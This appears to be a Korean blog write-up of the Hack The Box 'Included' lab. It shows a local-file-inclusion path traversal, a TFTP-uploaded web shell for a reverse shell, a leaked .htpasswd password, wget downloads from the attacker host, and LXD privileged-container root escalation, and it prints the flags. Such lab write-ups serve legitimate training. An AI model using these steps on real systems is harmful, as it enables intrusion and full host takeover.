▌ TRANSMISSION · [HTB]

[STARTING_POINT] Tier2 Included


Nmap

┌──(kali㉿kali)-[~/Documents/htb/expressway]
└─$ sudo nmap 10.129.95.185 -p- -Pn --open -sV -sC  --min-rate 2000
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-20 14:13 +0900
Nmap scan report for 10.129.95.185
Host is up (0.21s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.129.95.185/?file=home.php
|_http-server-header: Apache/2.4.29 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.96 seconds

Task

1. UDP에서 돌아가는 서비스?

sudo nmap 10.129.95.185 -sU --top-ports 20 --min-rate 2000
  • UDP 서비스 조사 : nmap 할 때 -sU 옵션 추가

tftp (69)

  • TFTP : Trivial File Transfer Protocol

  • 아주 단순한 파일 전송 프로토콜

  • FTP보다 훤씬 단순하고 기능이 적은 대신, 설정이 가볍고 작은 환경에서 쓰기 쉬운 프로토콜이다.

  • 연결을 오래 유지하는 방식이 아니라, 비교적 단순하게 파일을 주고 받는다.

  • 인증 기능이 거의 없다.

  • 디렉터리 조회, 사용자 권한 관리 같은 FTP의 복잡한 기능이 없다.

  • 보안 기능도 없어서 암호화 없이 평문으로 동작한다.

보통 어디서 사용함?

  • 부팅이나 장비 초기 설정 같은 관리 목적에 쓰인다.
    • 네트워크 장비의 펌웨어 업로드/다운로드
    • 아루터, 스위치 설정 백업
    • PXE 부팅처럼 운영체제 설치 이미지를 가져올 때
    • 임베디드 장비나 디스크 없는 시스템에서 파일을 받을 때

계정으로 로그인한다기보다 서버에 파일 요청을 보내는거에 가깝다.

tftp basic

command

  1. 접속
tftp <ip>
  1. 다운로드 / 업로드
get <filename> / put <filename>

2. 80번에서 돌아가고 있는 웹페이지에서 어떤 취약점이?

  • 브라우저에 접속해보면, ?file= 형태로 파일을 가져와서 로딩하는 것을 볼 수 있음.
  • 실제로 /etc/passwd 같은 민감 파일에 접근해보면?
http://10.129.95.185/?file=../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
mike:x:1000:1000:mike:/home/mike:/bin/bash
tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin
  • Local File Inclusion (LFI)에 취약.
  • 여기서 6번째 필드가 해당 계정의 홈디렉터리를 의미하는데, tftp 가 있는걸 볼수 있었음. /var/lib/tftpboot/ 가 홈디렉터리인거 같으니 LFI로 접근해봤다.
    • 암것도 없었음

foothold

(상대 타겟 시스템에 첫발을 내딛는, 침투하는 행위를 foothold라고 함.) 근데 이 시점에서 tftp로 파일 올리고 웹에서 끌고 올 수 있나 궁금해짐.

  • 웹쉘 구하기
  • tftp 접속 후 웹쉘 업로드
  • nc 리스너 열기 (수정한 포트로 열기)
  • /var/lib/tftpboot/<webshell.php> 접근
  • 리버스쉘 얻을 수 있음
    • 쉘이 불안정 하니 쉘 안정화
python3 -c 'import pty;pty.spawn("/bin/bash")'

또는

script /dev/null -c bash

Lateral Movement

그렇게 리버스 쉘을 따게 되면 www-data 권한으로 접속이 된다.

  • mike 홈디렉터리에 user.txt가 있지만, 읽을 수 없다. (권한 x) mike 계정을 알아내서 유저를 바꿔 user.txt를 읽어보자.

우선 웹 관련 파일들이 모여있는 /var/www/html 로 이동하여 숨김 파일까지 다 봤는데, .htpasswd 가 존재하는 것을 발견할 수 있었다.

www-data@included:/var/www/html$ ls -al
ls -al
total 88
drwxr-xr-x 4 root     root      4096 Oct 13  2021 .
drwxr-xr-x 3 root     root      4096 Apr 23  2021 ..
-rw-r--r-- 1 www-data www-data   212 Apr 23  2021 .htaccess
-rw-r--r-- 1 www-data www-data    17 Apr 23  2021 .htpasswd
-rw-r--r-- 1 www-data www-data 13828 Apr 29  2014 default.css
drwxr-xr-x 2 www-data www-data  4096 Apr 23  2021 fonts
-rw-r--r-- 1 www-data www-data 20448 Apr 29  2014 fonts.css
-rw-r--r-- 1 www-data www-data  3704 Oct 13  2021 home.php
drwxr-xr-x 2 www-data www-data  4096 Apr 23  2021 images
-rw-r--r-- 1 www-data www-data   145 Oct 13  2021 index.php
-rw-r--r-- 1 www-data www-data 17187 Apr 29  2014 license.txt
www-data@included:/var/www/html$ cat .htpasswd
cat .htpasswd
mike:Sheffield19
  • .htpasswd : HTTP 기본 인증 역할
    • Apcahe 웹 서버에서 특정 디렉터리나 페이지에 접근할 때 사용자 이름과 비밀번호를 확인하는 용도로 사용된다. (아주 간단한 로그인 기능을 만들 때 사용하는 계정 모음)

그렇게 mike 계정을 탈취할 수 있었고, su 명령으로 유저를 변경해보면?

www-data@included:/var/www/html$ su mike
su mike
Password: Sheffield19

mike@included:/var/www/html$ whoami
whoami
mike

이렇게 횡이동이 가능하다. (user.txt 플래그를 읽을 수 있게 되었다!!)

user.txt

a56ef91d70cfbf2cdb8f454c006935a1

Privilege Escalation

mike 계정은 lxd 그룹에 속해있는 것을 알 수 있다.

mike@included:~$ id
id
uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)

즉, mike 계정은 lxd 를 다룰 수 있다!

LXD

  • 리눅스 컨테이너를 관리하는 도구로, 가상머신보다는 가볍고 프로세스 격리보는 더 강한 컨테이너 환경을 만들고 관리하는 시스템이다.

  • LXC : 실제 컨테이너 기술

  • LXD : 그 LXC를 더 쉽게 다루게 해주는 관리 도구/데몬

  • 할 수 있는 것들?

    • 컨테이너 생성
    • 이미지 받아오기
    • 파일 마운트
    • 네트워크 설정
    • 컨테이너 시작/중지
    • 권한 있는 컨테이너 실행

미친 크랙

컨테이너를 생성할 때 security.privileged=true 옵션을 주면, 컨테이너 내부의 root가 실제 호스트 시스템의 root와 거의 동일한 권한을 갖게 된다!!!

그래서 /(root directory) 같은 걸 컨테이너에 마운트까지 시켜주면, root flag 까지 읽을 수 있을 것 같다.

LXC (command line client)

init

sudo lxd init

이미지/인스턴스 생성

lxc init <image> <container>

ex.

lxc init ubuntu:22.04 mycontainer

시작 중지 재시작 삭제

lxc <command> <container>
  • command
    • start
    • stop
    • restart
    • delete

컨테이너 내부 들어가기

lxc exec <container> /bin/sh

마운트

lxc config device add <container> <device_name> disk source=<host_path> path=<container_path> recursive=true
  • recursive=true : 하위 디렉터리까지 모두 가져오는 옵션

컨테이너 root와 호스트 root의 권한 설정

lxc init <image> <container> -c security.privileged=true
  • -c : config
  • security.privileged : 호스트 root 권한과 동일하게 설정할건가?

이미지 가져오기 (lxc image)

HTB는 인터넷 연결이 안되어있으니 공격자 호스트에서 타겟 서버로 전송하는 방식을 사용하자.

  • https://images.lxd.canonical.com/ (lxc image repo 검색) 해당 링크에서 아키텍처에 맞는 이미지를 선택한다. (용량이 작은 alpine/amd64로 선택하였음)

그러면 파일 이름들이 보일텐데, 2개를 다운 받는다.

  • lxd.tar.xz : 이미지의 메타데이터와 설정
  • rootfs.squashfs : 실제 Alpine 루트 파일 시스템

그리고 이거를 머신에 올린다.

  1. tftp 를 통해 올린다. (rootfs.squashfs 용량이 생각보다 있어서 전송이 오래걸림. 시간 많은 사람은ㄱ)
  2. python3 -m http.server 로 옮긴다. (이게 좋을 듯)

우선 다운 받은 파일이 들어있는 디렉터리에 python 웹 서버를 연다.

python3 -m http.server

mike 권한이 있는 홈디렉터리로 이동해서 wget을 사용해 다운 받는다.

  • wget http://<ip>:<port>/<file>
mike@included:~$ wget http://10.10.15.16:8000/lxd.tar.xz
wget http://10.10.15.16:8000/lxd.tar.xz
--2026-03-20 07:19:07--  http://10.10.15.16:8000/lxd.tar.xz
Connecting to 10.10.15.16:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 900 [application/x-xz]
Saving to: ‘lxd.tar.xz’

lxd.tar.xz          100%[===================>]     900  --.-KB/s    in 0s      

2026-03-20 07:19:08 (14.5 MB/s) - ‘lxd.tar.xz’ saved [900/900]

mike@included:~$ wget http://10.10.15.16:8000/rootfs.squashfs
wget http://10.10.15.16:8000/rootfs.squashfs
--2026-03-20 07:19:27--  http://10.10.15.16:8000/rootfs.squashfs
Connecting to 10.10.15.16:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3235840 (3.1M) [application/octet-stream]
Saving to: ‘rootfs.squashfs’

rootfs.squashfs     100%[===================>]   3.09M   755KB/s    in 4.4s    

2026-03-20 07:19:32 (723 KB/s) - ‘rootfs.squashfs’ saved [3235840/3235840]

image import

가져온 두 파일을 함께 lxc로 넣어주면 하나의 이미지가 완성된다.

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
  • --alias : 이미지 별명 지정

잘 생성됐는지 확인해보면

mike@included:~$ lxc image list
lxc image list
+--------+--------------+--------+-----------------------------------------+--------+--------+------------------------------+
| ALIAS  | FINGERPRINT  | PUBLIC |               DESCRIPTION               |  ARCH  |  SIZE  |         UPLOAD DATE          |
+--------+--------------+--------+-----------------------------------------+--------+--------+------------------------------+
| alpine | 25fa761f89bd | no     | Alpinelinux 3.20 x86_64 (20260320_0055) | x86_64 | 3.09MB | Mar 20, 2026 at 7:28am (UTC) |
+--------+--------------+--------+-----------------------------------------+--------+--------+------------------------------+

이렇게 잘 추가가 된 것을 볼 수 있다.

Create Container

만든 이미지로 컨테이너를 생성하자. 이때 -c 옵션과 인자로 security.privileged=true 를 사용하여 머신의 root 권한과 동일하게 root를 가지도록 만들자.

  • lxc init alpine mycontainer -c security.privileged=true
mike@included:~$ lxc init alpine mycontainer -c security.privileged=true

lxc init alpine mycontainer -c security.privileged=true
Creating mycontainer

Mount (root directory)

그리고 현재 머신의 루트 디렉터리 전체를 마운트 해오게 되면, 파일 시스템 전체를 루트 권한으로 돌아다닐 수 있는, 간접 권한 상승을 할 수 있게 된다.

  • lxc config device add mycontainer lxd-root disk source=/ path=/mnt/root recursive=true
mike@included:~$ lxc config device add mycontainer lxd-root disk source=/ 

path=/mnt/root recursive=true
<xd-root disk source=/ path=/mnt/root recursive=true
Device lxd-root added to mycontainer

컨테이너 실행 및 root flag 획득

컨테이너를 실행해주자.

lxc start mycontainer

그리고 실행 중인 컨테이너에 접속해주자.

lxc exec mycontainer /bin/sh
  • 해당 명령을 실행하면 lxd(데몬)이 컨테이너 내부에 생성(실행)된 /bin/sh 에 붙여준다. (컨테이너 내에 들어온 효과를 볼 수 있다.)
mike@included:~$ lxc exec mycontainer /bin/sh
lxc exec mycontainer /bin/sh
~ # id         
id
uid=0(root) gid=0(root)

이제 마운트 된 곳으로 가서 root flag를 찾아보자~

~ # cd /mnt/root/root
cd /mnt/root/root
/mnt/root/root # ls       
ls
root.txt
/mnt/root/root # cat root.txt
cat root.txt
c693d9c7499d9f572ee375d4c14c7bcf

root 권한이기 때문에 읽을 수 있다!!

컨테이너를 이용해 시스템을 공격할 때 사용할 이미지를 고를 때는, 아주 작은 배포판을 찾습니다


← ALL POSTS